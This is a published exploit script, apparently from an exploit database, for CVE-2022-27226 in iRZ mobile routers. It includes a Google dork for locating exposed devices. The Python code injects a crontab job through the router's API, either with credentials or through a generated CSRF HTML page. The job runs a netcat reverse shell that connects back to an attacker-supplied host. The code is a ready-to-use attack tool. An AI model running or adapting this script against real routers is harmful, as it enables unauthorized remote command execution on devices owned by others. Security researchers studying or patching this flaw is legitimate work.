iRZ Mobile Router Cross Site Request Forgery / Remote Code Execution

# Exploit Title: iRZ Mobile Router - CSRF to RCE
# Google Dork: intitle:"iRZ Mobile Router"
# Date: 2022-03-18
# Exploit Author: Stephen Chavez & Robert Willis
# Vendor Homepage: https://en.irz.ru/
# Software Link: https://github.com/SakuraSamuraii/ez-iRZ
# Version: Routers through 2022-03-16
# Tested on: RU21, RU21w, RL21, RU41, RL01
# CVE : CVE-2022-27226

import os
import requests
import json
import subprocess

option = "0"


def main():
    print("####################################################")
    print("# Welcome to IRZ CSRF to RCE Exploit - version 1.0 #")
    print("####################################################")
    print()
    print("## by RedragonX of WHG & rej_ex of SAKURA SAMURAI ##")
    print()
    print("1. Post Authentication RCE (Needs Credentials)")
    print("2. CSRF to RCE (No Credentials)")
    print()
    runit()


def runit():
    option = input("Select an option: ")
    if option == "1":
        exploit1()
    elif option == "2":
        exploit2()
    else:
        print("You must select '1' or '2'. Exiting.")


def exploit1():
    print("## Running Post Auth RCE exploit")
    print()
    print()
    router_ip = input("## Enter the router ip to exploit: ")
    router_port = int(
        input("## Enter the victim router web page port (default is 80): ") or "80")

    router_user = input("## Enter the username for the router login: ")
    router_pass = input("## Enter the password for the router login: ")

    LHOST = input("## Enter the LHOST for the router reverse shell: ")
    LPORT = input("## Enter the LPORT for the router reverse shell: ")

    router_url = f'http://{router_ip}:{router_port}'

    nc1_str = f'Start a listener with the following command: nc -lvp {LPORT}'

    input(nc1_str + "nnPress enter once you do")

    send_json_payload(router_url, router_user, router_pass, LHOST, LPORT)


def send_json_payload(router_url, router_user, router_pass, lhost_ip, lhost_port):

    intro = f'Sending the payload to {router_url}n'
    print(intro)
    payload_str = '{"tasks":[{"enable":true,"minutes":"*","hours":"*","days":"*","months":"*","weekdays":"*","command":"rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ' + 
        f'{lhost_ip} {lhost_port} ' + 
        '>/tmp/f"}],"_board":{"name":"RL21","platform":"irz_mt02","time":"Wed Mar 16 16:43:20 UTC 2022"}}'

    payload_json = json.loads(payload_str)

    s = requests.Session()

    s.auth = (router_user, router_pass)

    s.headers.update(
        {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"})
    s.headers.update({"X-Requested-With": "XMLHttpRequest"})
    s.headers.update({"Origin": router_url})
    s.headers.update({"Referer": router_url})

    s.post(router_url + "/api/crontab", json=payload_json)

    exploit_str = f'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost_ip} 443 >/tmp/f'

    print(
        "Request sent! You may have to wait about 2 minutes to get a shell. nFirst shell will die due to crontab job. Start a new listener on a new port [e.g. 443], and run the following command: " + exploit_str)
    print("To fix TTY: type telnet 0.0.0.0 in the shell")


def exploit2():

    print("## Running CSRF to RCE exploit")
    print()
    print()
    router_ip = input("## Enter the router ip to exploit: ")
    router_port = int(
        input("## Enter the victim router web page port (default is 80): ") or "80")

    LHOST = input("## Enter the LHOST for the router reverse shell: ")
    LPORT = input("## Enter the LPORT for the router reverse shell: ")

    load_csrf_poc_file(router_ip, router_port, LHOST, LPORT)


def load_csrf_poc_file(router_ip, router_port, lhost_ip, lhost_port):

    file_path = os.path.dirname(__file__) + os.sep + "poc.template.html"

    if os.path.isfile(file_path):
        with open(file_path) as poc_file:
            original_poc_data_str = poc_file.read()

            new_html = original_poc_data_str.replace("{router_ip}", router_ip)
            new_html = new_html.replace(
                "{router_port}", str(router_port))

            lhost_split_arr = lhost_ip.split(".")

            if len(lhost_split_arr) == 4:

                new_html = new_html.replace(
                    "{lhost_ip_octect_1}", lhost_split_arr[0])

                new_html = new_html.replace(
                    "{lhost_ip_octect_2}", lhost_split_arr[1])

                new_html = new_html.replace(
                    "{lhost_ip_octect_3}", lhost_split_arr[2])
                new_html = new_html.replace(
                    "{lhost_ip_octect_4}", lhost_split_arr[3])

                new_html = new_html.replace(
                    "{lhost_port}", lhost_port)

                new_file_path = os.path.dirname(
                    __file__) + os.sep + "poc.new.html"
                try:
                    with open(new_file_path, 'w') as new_file:
                        new_file.write(new_html)

                    print()
                    print(
                        f'New file written to {new_file_path}. Host this file')
                except FileNotFoundError:
                    print("You had an error writing to the file, doesn't exist.")
            else:
                print(f'{lhost_ip} is not a proper IPV4 address.')

    else:
        print(f'{file_path} not found')


main()